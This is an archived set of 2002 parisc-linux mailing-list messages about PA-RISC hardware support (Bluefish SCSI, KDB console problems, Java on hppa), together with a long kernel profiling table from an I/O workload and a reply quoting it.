Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 06:06:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99F49482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 06:06:18 -0600 (MDT)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id 41FB08A2F; Thu, 30 May 2002 14:06:17 +0200 (CEST)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id g4UBsO217966;
	Thu, 30 May 2002 13:54:24 +0200
In-Reply-To: <20020530124826.W10366@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.8
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14918

Quoting Matthew Wilcox <willy@debian.org>:

> On Thu, May 30, 2002 at 10:48:32AM +0200, Andy Walker wrote:
> > If you remember Richard, I was having all sorts of trouble with a
> Bluefish
> > card in a 725/100 a while back. Think I got the same results in a C110
> too.
> > Recognized as Zalon, but hung up with SCSI timeouts if there was a
> disk
> > attached. HP-UX booted happily off the same controller & disk.
> 
> Hmm.. Bluefish in a 725 should also fail due to non-coherent DMA.
> But a C110 has the ccio chip in it, so Bluefish should work fine.

Okay, don't quote me on the C110 thing. I could be remembering it wrongly.
I'd test it, but my C110 Linux box is in another part of the building
here at work. Maybe test it on the B132 tonight.

While we're talking Bluefish, what is the meaning of the GPI0-3 dip
switches?

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 08:52:49 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <200205300852.AA3463709158@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621340 8085 80.91.229.3 (22 Nov 2014 01:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 07:53:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34754482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 07:53:35 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14919

and I assume that jikes not working is the same reason that
the kaffe stuff is "lame"?

It would be a shame to have to go back to HP-UX... Our company
is amazingingy enough is happy for once to get on the bleading edge.

-Marc

---------- Original Message ----------------------------------
From: Matthew Wilcox <willy@debian.org>
Date:  Thu, 30 May 2002 12:55:30 +0100

>On Thu, May 30, 2002 at 12:23:49AM -0500, marc  wrote:
>> seki:/etc/apt# apt-get install kaffe
>> Reading Package Lists... Done
>> Building Dependency Tree... Done
>> Package kaffe has no available version, but exists in the database.
>> This typically means that the package was mentioned in a dependency and
>> never uploaded, has been obsoleted or is not available with the contents
>> of sources.list
>> E: Package kaffe has no installation candidate
>
>looks like no-one's managed to get kaffe built on hppa.  gcj doesn't seem
>to be available for hppa either.  In fact, kaffe is only available for
>alpha, arm, i386, m68k, powerpc, sparc (ie hppa, ia64, mips, mipsel &
>s390 haven't managed to get it working yet).  gcj seems to be available
>on everything but hppa, mips & mipsel.  I don't know how much effort is
>involved in making these things work.
>
>-- 
>Revolutions do not require corporate support.
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Thu, 30 May 2002 15:36:26 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020530143626.GF810@tykepenguin.com>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com> <20020528132933.B31214@systemhalted> <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621340 8086 80.91.229.3 (22 Nov 2014 01:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:40 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 08:36:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84A2E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 08:36:29 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17DR2Q-0001Ub-00; Thu, 30 May 2002 15:36:26 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Content-Disposition: inline
In-Reply-To: <20020529180739.GL9919@tykepenguin.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14920

Hmmm

CONFIG_KDB=y      : no serial console or FW SCSI
CONFIG_KDB=n      : all works fine.

bizarre!

patrick




From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@fc.hp.com (Paul Bame)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I/O-centric profile
Date: Thu, 30 May 2002 09:18:37 -0600 (MDT)
Lines: 309
Approved: news@gmane.org
Message-ID: <m17DRhF-00009qC@b180.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621340 8090 80.91.229.3 (22 Nov 2014 01:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 09:19:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2ECCA482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 09:19:23 -0600 (MDT)
Original-Received: from b180.bame (lart.fc.hp.com [15.1.54.48])
	by cuprel1.hp.com (Postfix) with ESMTP id 89A8511F9
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 08:19:22 -0700 (PDT)
Original-Received: by fc.hp.com
	via send-mail from stdin
	id <m17DRhF-00009qC@b180.bame> (Debian Smail3.2.0.114)
	Thu, 30 May 2002 09:18:37 -0600 (MDT) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14921

I edited System.map to get rid of the $lcfu_done sorts of symbols within
the user-space copy routines.  This load, again on a b180, is a bunch of
big file tree copies and syncs and removes mixed with some large file
creation via dd and syncs.

  8443 total                                      0.0048
  2500 lcopy_from_user                           36.7647
   945 lcopy_to_user                             16.8750
   403 memset                                    12.5938
   273 cpu_idle                                   3.7917
   215 ext3_do_update_inode                       0.1701
   151 scsi_dispatch_cmd                          0.1560
   132 journal_dirty_metadata                     0.2115
   129 do_get_write_access                        0.0762
   121 flush_user_icache_range_asm                3.3611
   120 __make_request                             0.0415
   111 journal_get_write_access                   0.6307
    97 journal_cancel_revoke                      0.3566
    90 flush_user_dcache_range_asm                2.5000
    88 ext3_get_inode_loc                         0.1964
    76 get_hash_table                             0.4318
    71 $$remU                                     0.2399
    65 rmqueue                                    0.0710
    65 $$divU                                     0.2257
    58 __journal_file_buffer                      0.0815
    57 d_lookup                                   0.1484
    55 kmem_cache_alloc                           0.1741
    55 journal_add_journal_head                   0.1580
    55 ext3_new_block                             0.0238
    54 link_path_walk                             0.0213
    54 kmem_cache_free                            0.2700
    52 __brelse                                   0.6500
    48 clear_user_page_asm                        0.4286
    44 journal_unlock_journal_head                0.2619
    44 ext3_dirty_inode                           0.1746
    43 generic_file_write                         0.0219
    43 ext3_check_dir_entry                       0.1558
    40 schedule                                   0.0422
    40 __block_prepare_write                      0.0450
    38 start_this_handle                          0.0748
    37 journal_stop                               0.0685
    36 ext3_get_block_handle                      0.0457
    35 scsi_request_fn                            0.0425
    34 mark_page_accessed                         0.3542
    33 kfree                                      0.1618
    32 nfs3_xdr_sattrargs                         0.0116
    32 __jbd_kmalloc                              0.1600
    32 $$mulU                                     0.0602
    31 memscan                                    0.7045
    30 ll_rw_block                                0.0487
    30 journal_start                              0.1056
    30 journal_commit_transaction                 0.0065
    29 memcmp                                     0.3625
    29 ext3_mark_iloc_dirty                       0.2339
    29 ext3_find_entry                            0.0374
    29 do_generic_file_read                       0.0229
    28 __free_pages_ok                            0.0262
    27 kmalloc                                    0.0742
    24 lstrncpy_from_user                         0.3333
    24 __insert_into_lru_list                     0.1053
    22 syscall_restore                            0.0917
    22 ext3_mark_inode_dirty                      0.2500
    22 buffer_insert_inode_queue                  0.3235
    22 __mark_inode_dirty                         0.1341
    21 __wake_up                                  0.0750
    20 ext3_add_entry                             0.0158
    19 memcpy                                     0.5278
    19 ext3_reserve_inode_write                   0.0742
    19 ext3_new_inode                             0.0075
    18 ext3_get_branch                            0.0608
    18 ext3_alloc_branch                          0.0201
    18 bread                                      0.1324
    17 ext3_test_allocatable                      0.2024
    17 ext3_get_group_desc                        0.0944
    17 ext3_commit_write                          0.0281
    17 dput                                       0.0394
    16 walk_page_buffers                          0.0635
    16 unlock_page                                0.1143
    16 try_to_free_buffers                        0.0435
    16 sys_write                                  0.0455
    16 sys_read                                   0.0455
    16 getblk                                     0.1429
    16 __journal_unfile_buffer                    0.0288
    16 __free_pages                               0.2105
    15 path_init                                  0.0291
    15 __refile_buffer                            0.1250
    15 __block_commit_write                       0.0399
    14 shrink_cache                               0.0136
    14 find_inode                                 0.0814
    14 add_to_page_cache_unique                   0.0673
    13 fput                                       0.0332
    12 reschedule_idle                            0.0140
    12 permission                                 0.1500
    12 get_empty_filp                             0.0361
    12 generic_make_request                       0.0273
    12 fimanyloop                                 0.6000
    12 __journal_remove_journal_head              0.0303
    12 $$remI                                     0.0366
    11 vfs_permission                             0.0316
    11 set_buffer_flushtime                       0.3929
    11 sd_init_command                            0.0119
    11 open_namei                                 0.0071
    11 lru_cache_add                              0.0550
    11 ext3_splice_branch                         0.0179
    11 ext3_clear_blocks                          0.0243
    11 ext3_block_to_path                         0.0404
    11 __alloc_pages                              0.0204
    10 truncate_list_pages                        0.0216
    10 submit_bh                                  0.0532
    10 journal_dirty_data                         0.0198
    10 ext3_prepare_write                         0.0253
    10 copy_user_page_asm                         0.0658
    10 add_page_to_hash_queue                     0.0806
    10 __remove_from_lru_list                     0.0781
     9 pipe_read                                  0.0138
     9 fdsync                                     0.4500
     9 ext3_writepage_trans_blocks                0.0592
     9 ext3_getblk                                0.0112
     9 ext3_free_data                             0.0186
     9 create_buffers                             0.0352
     9 __find_lock_page_helper                    0.0433
     8 prune_icache                               0.0233
     8 journal_unmap_buffer                       0.0127
     8 journal_flushpage                          0.0157
     8 get_unused_buffer_head                     0.0444
     8 ext3_read_inode                            0.0084
     8 ext3_free_blocks                           0.0043
     8 __remove_inode_page                        0.0541
     7 unlock_buffer                              0.0583
     7 syscall_exit                               0.2500
     7 sd_find_queue                              0.1250
     7 prune_dcache                               0.0152
     7 log_space_left                             0.2188
     7 journal_get_undo_access                    0.0194
     7 intr_restore                               0.0155
     7 handle_interruption                        0.0054
     7 getname                                    0.0287
     7 ext3_get_block                             0.0372
     7 ext3_forget                                0.0233
     7 block_read_full_page                       0.0091
     7 add_timer                                  0.0269
     7 _switch_to_ret                             0.0090
     6 update_atime                               0.0484
     6 scsi_init_io_v                             0.0205
     6 purge_kernel_dcache_page                   0.0600
     6 generic_commit_write                       0.0417
     6 fget                                       0.0938
     6 fcntl_dirnotify                            0.0152
     6 create_empty_buffers                       0.0375
     5 syscall_check_bh                           0.3125
     5 path_release                               0.0595
     5 page_cache_read                            0.0171
     5 nr_free_buffer_pages                       0.0694
     5 iput                                       0.0080
     5 get_unused_fd                              0.0114
     5 get_new_inode                              0.0094
     5 ext3_orphan_del                            0.0071
     5 ext3_find_goal                             0.0179
     5 ext3_create                                0.0142
     5 d_alloc                                    0.0117
     5 bcopy                                      0.1389
     5 balance_dirty_state                        0.0347
     5 _switch_to                                 0.0463
     5 __user_walk                                0.0379
     5 __down_read                                0.0305
     4 sys_utime                                  0.0130
     4 sys_close                                  0.0244
     4 pipe_write                                 0.0052
     4 notify_change                              0.0095
     4 ncr_queue_command                          0.0013
     4 journal_try_to_free_buffers                0.0175
     4 journal_alloc_journal_head                 0.0244
     4 generic_unplug_device                      0.0588
     4 filldir64                                  0.0116
     4 ext3_bread                                 0.0270
     4 dentry_open                                0.0076
     4 clear_inode                                0.0172
     4 cached_lookup                              0.0323
     4 add_wait_queue                             0.0833
     4 __wake_up_sync                             0.0132
     4 __put_unused_buffer_head                   0.0263
     4 __lru_cache_del                            0.0286
     4 __free_pte                                 0.0286
     4 __find_lock_page                           0.1429
     4 Letext                                     0.0270
     3 truncate_complete_page                     0.0259
     3 sys_open                                   0.0107
     3 sys_fcntl                                  0.0268
     3 put_filp                                   0.0288
     3 lookup_hash                                0.0132
     3 locks_remove_posix                         0.0079
     3 journal_dirty_sync_data                    0.0214
     3 grow_buffers                               0.0070
     3 filemap_nopage                             0.0044
     3 file_read_actor                            0.0234
     3 ext3_truncate                              0.0026
     3 ext3_readdir                               0.0026
     3 ext3_free_inode                            0.0022
     3 ext3_file_write                            0.0208
     3 d_rehash                                   0.0187
     3 _alloc_pages                               0.0682
     3 __up_read                                  0.0341
     3 ___wait_on_page                            0.0150
     2 write_some_buffers                         0.0060
     2 vfs_readdir                                0.0064
     2 try_to_release_page                        0.0139
     2 sys_newstat                                0.0125
     2 sys_getdents64                             0.0106
     2 scsi_add_timer                             0.0119
     2 refile_buffer                              0.0833
     2 pipe_wait                                  0.0081
     2 lookup_create                              0.0109
     2 locks_remove_flock                         0.0161
     2 kmem_cache_reap                            0.0034
     2 intr_do_resched                            0.0556
     2 inode_setattr                              0.0075
     2 inode_has_buffers                          0.0455
     2 inode_change_ok                            0.0042
     2 init_rwsem                                 0.1000
     2 in_group_p                                 0.0385
     2 grow_dev_page                              0.0086
     2 get_empty_inode                            0.0116
     2 generic_file_readahead                     0.0048
     2 generic_file_read                          0.0060
     2 ext3_unlink                                0.0037
     2 ext3_orphan_add                            0.0030
     2 ext3_alloc_block                           0.0500
     2 end_buffer_io_sync                         0.0192
     2 do_page_fault                              0.0026
     2 do_no_page                                 0.0044
     2 do_journal_get_write_access                0.0147
     2 dispose_list                               0.0139
     2 buffer_insert_inode_data_queue             0.0294
     2 block_prepare_write                        0.0217
     2 bdget                                      0.0060
     2 add_wait_queue_exclusive                   0.0417
     2 __run_task_queue                           0.0143
     1 zap_page_range                             0.0011
     1 wait_for_buffers                           0.0038
     1 vm_enough_memory                           0.0063
     1 unmap_underlying_metadata                  0.0064
     1 tty_poll                                   0.0049
     1 tcp_write_xmit                             0.0013
     1 syscall_restore_rfi                        0.0357
     1 syscall_check_sig                          0.0833
     1 syscall_check_resched                      0.1250
     1 sys_rt_sigprocmask                         0.0027
     1 sys_lstat64                                0.0063
     1 sys_fstat64                                0.0068
     1 sync_unlocked_inodes                       0.0023
     1 sync_page_buffers                          0.0029
     1 swap_out                                   0.0006
     1 skb_checksum                               0.0017
     1 sk_run_filter                              0.0004
     1 shrink_dcache_sb                           0.0021
     1 set_bh_page                                0.0100
     1 select_parent                              0.0068
     1 scsi_malloc                                0.0046
     1 refill_inactive                            0.0021
     1 real_lookup                                0.0028
     1 read_chan                                  0.0005
     1 rb_erase                                   0.0033
     1 number                                     0.0009
     1 lookup_one_len                             0.0086
     1 load_inode_bitmap                          0.0019
     1 kswapd_can_sleep_pgdat                     0.0179
     1 journal_revoke                             0.0021
     1 journal_get_create_access                  0.0016
     1 journal_forget                             0.0015
     1 intr_return                                0.0500
     1 intr_check_sig                             0.0833
     1 iget4                                      0.0029
     1 handle_mm_fault                            0.0037
     1 get_pid                                    0.0028
     1 flush_kernel_icache_page                   0.0100
     1 flush_kernel_dcache_page                   0.0100
     1 fioneloop                                  0.1250
     1 find_vma_prev                              0.0119
     1 find_or_create_page                        0.0030
     1 find_next_usable_block                     0.0010
     1 filp_open                                  0.0093
     1 filp_close                                 0.0068
     1 filemap_fdatasync                          0.0035
     1 ext3_setattr                               0.0022
     1 ext3_free_branches                         0.0014
     1 ext3_delete_inode                          0.0028
     1 ext3_block_truncate_page                   0.0010
     1 ext2_update_inode                          0.0008
     1 ext2_get_branch                            0.0034
     1 ext2_get_block                             0.0008
     1 empty_dir                                  0.0016
     1 do_select                                  0.0017
     1 do_munmap                                  0.0014
     1 do_anonymous_page                          0.0028
     1 datagram_poll                              0.0034
     1 cp_new_stat64                              0.0022
     1 copy_strings                               0.0047
     1 copy_page_range                            0.0018
     1 block_truncate_page                        0.0019
     1 block_commit_write                         0.0179
     1 balance_dirty                              0.0132
     1 __wait_on_buffer                           0.0037
     1 __try_to_free_cp_buf                       0.0100
     1 __remove_inode_queue                       0.0417
     1 __journal_remove_checkpoint                0.0066
     1 __down_write                               0.0064
     1 $$divI                                     0.0030



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I/O-centric profile
Date: Thu, 30 May 2002 18:01:44 +0200 (CEST)
Lines: 335
Approved: news@gmane.org
Message-ID: <1022774504.3cf64ce84df01@webmail.tiscali.be>
References: <m17DRhF-00009qC@b180.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621341 8095 80.91.229.3 (22 Nov 2014 01:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 10:28:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE976482A
	for <parisc-linux@parisc-linux.org>; Thu, 30 May 2002 10:28:17 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17DSMy-0006BS-00; Thu, 30 May 2002 18:01:44 +0200
In-Reply-To: <m17DRhF-00009qC@b180.bame>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14922

Hi Paul,

I would like to compare with 2.4.19-pre9-pa30 of my stuff and 2.4.18-pa24
(reboot with profile=2) but all what I get is a long list of zero when I run:
readprofile -m /boot/System.map-... -av. 
Does it need a kernel patch?

Thanks in advance,
    Joel

Quoting Paul Bame <bame@fc.hp.com>:

> 
> I edited System.map to get rid of the $lcfu_done sorts of symbols
> within
> the user-space copy routines.  This load, again on a b180, is a bunch
> of
> big file tree copies and syncs and removes mixed with some large file
> creation via dd and syncs.
> 
>   8443 total                                      0.0048
>   2500 lcopy_from_user                           36.7647
>    945 lcopy_to_user                             16.8750
>    403 memset                                    12.5938
>    273 cpu_idle                                   3.7917
>    215 ext3_do_update_inode                       0.1701
>    151 scsi_dispatch_cmd                          0.1560
>    132 journal_dirty_metadata                     0.2115
>    129 do_get_write_access                        0.0762
>    121 flush_user_icache_range_asm                3.3611
>    120 __make_request                             0.0415
>    111 journal_get_write_access                   0.6307
>     97 journal_cancel_revoke                      0.3566
>     90 flush_user_dcache_range_asm                2.5000
>     88 ext3_get_inode_loc                         0.1964
>     76 get_hash_table                             0.4318
>     71 $$remU                                     0.2399
>     65 rmqueue                                    0.0710
>     65 $$divU                                     0.2257
>     58 __journal_file_buffer                      0.0815
>     57 d_lookup                                   0.1484
>     55 kmem_cache_alloc                           0.1741
>     55 journal_add_journal_head                   0.1580
>     55 ext3_new_block                             0.0238
>     54 link_path_walk                             0.0213
>     54 kmem_cache_free                            0.2700
>     52 __brelse                                   0.6500
>     48 clear_user_page_asm                        0.4286
>     44 journal_unlock_journal_head                0.2619
>     44 ext3_dirty_inode                           0.1746
>     43 generic_file_write                         0.0219
>     43 ext3_check_dir_entry                       0.1558
>     40 schedule                                   0.0422
>     40 __block_prepare_write                      0.0450
>     38 start_this_handle                          0.0748
>     37 journal_stop                               0.0685
>     36 ext3_get_block_handle                      0.0457
>     35 scsi_request_fn                            0.0425
>     34 mark_page_accessed                         0.3542
>     33 kfree                                      0.1618
>     32 nfs3_xdr_sattrargs                         0.0116
>     32 __jbd_kmalloc                              0.1600
>     32 $$mulU                                     0.0602
>     31 memscan                                    0.7045
>     30 ll_rw_block                                0.0487
>     30 journal_start                              0.1056
>     30 journal_commit_transaction                 0.0065
>     29 memcmp                                     0.3625
>     29 ext3_mark_iloc_dirty                       0.2339
>     29 ext3_find_entry                            0.0374
>     29 do_generic_file_read                       0.0229
>     28 __free_pages_ok                            0.0262
>     27 kmalloc                                    0.0742
>     24 lstrncpy_from_user                         0.3333
>     24 __insert_into_lru_list                     0.1053
>     22 syscall_restore                            0.0917
>     22 ext3_mark_inode_dirty                      0.2500
>     22 buffer_insert_inode_queue                  0.3235
>     22 __mark_inode_dirty                         0.1341
>     21 __wake_up                                  0.0750
>     20 ext3_add_entry                             0.0158
>     19 memcpy                                     0.5278
>     19 ext3_reserve_inode_write                   0.0742
>     19 ext3_new_inode                             0.0075
>     18 ext3_get_branch                            0.0608
>     18 ext3_alloc_branch                          0.0201
>     18 bread                                      0.1324
>     17 ext3_test_allocatable                      0.2024
>     17 ext3_get_group_desc                        0.0944
>     17 ext3_commit_write                          0.0281
>     17 dput                                       0.0394
>     16 walk_page_buffers                          0.0635
>     16 unlock_page                                0.1143
>     16 try_to_free_buffers                        0.0435
>     16 sys_write                                  0.0455
>     16 sys_read                                   0.0455
>     16 getblk                                     0.1429
>     16 __journal_unfile_buffer                    0.0288
>     16 __free_pages                               0.2105
>     15 path_init                                  0.0291
>     15 __refile_buffer                            0.1250
>     15 __block_commit_write                       0.0399
>     14 shrink_cache                               0.0136
>     14 find_inode                                 0.0814
>     14 add_to_page_cache_unique                   0.0673
>     13 fput                                       0.0332
>     12 reschedule_idle                            0.0140
>     12 permission                                 0.1500
>     12 get_empty_filp                             0.0361
>     12 generic_make_request                       0.0273
>     12 fimanyloop                                 0.6000
>     12 __journal_remove_journal_head              0.0303
>     12 $$remI                                     0.0366
>     11 vfs_permission                             0.0316
>     11 set_buffer_flushtime                       0.3929
>     11 sd_init_command                            0.0119
>     11 open_namei                                 0.0071
>     11 lru_cache_add                              0.0550
>     11 ext3_splice_branch                         0.0179
>     11 ext3_clear_blocks                          0.0243
>     11 ext3_block_to_path                         0.0404
>     11 __alloc_pages                              0.0204
>     10 truncate_list_pages                        0.0216
>     10 submit_bh                                  0.0532
>     10 journal_dirty_data                         0.0198
>     10 ext3_prepare_write                         0.0253
>     10 copy_user_page_asm                         0.0658
>     10 add_page_to_hash_queue                     0.0806
>     10 __remove_from_lru_list                     0.0781
>      9 pipe_read                                  0.0138
>      9 fdsync                                     0.4500
>      9 ext3_writepage_trans_blocks                0.0592
>      9 ext3_getblk                                0.0112
>      9 ext3_free_data                             0.0186
>      9 create_buffers                             0.0352
>      9 __find_lock_page_helper                    0.0433
>      8 prune_icache                               0.0233
>      8 journal_unmap_buffer                       0.0127
>      8 journal_flushpage                          0.0157
>      8 get_unused_buffer_head                     0.0444
>      8 ext3_read_inode                            0.0084
>      8 ext3_free_blocks                           0.0043
>      8 __remove_inode_page                        0.0541
>      7 unlock_buffer                              0.0583
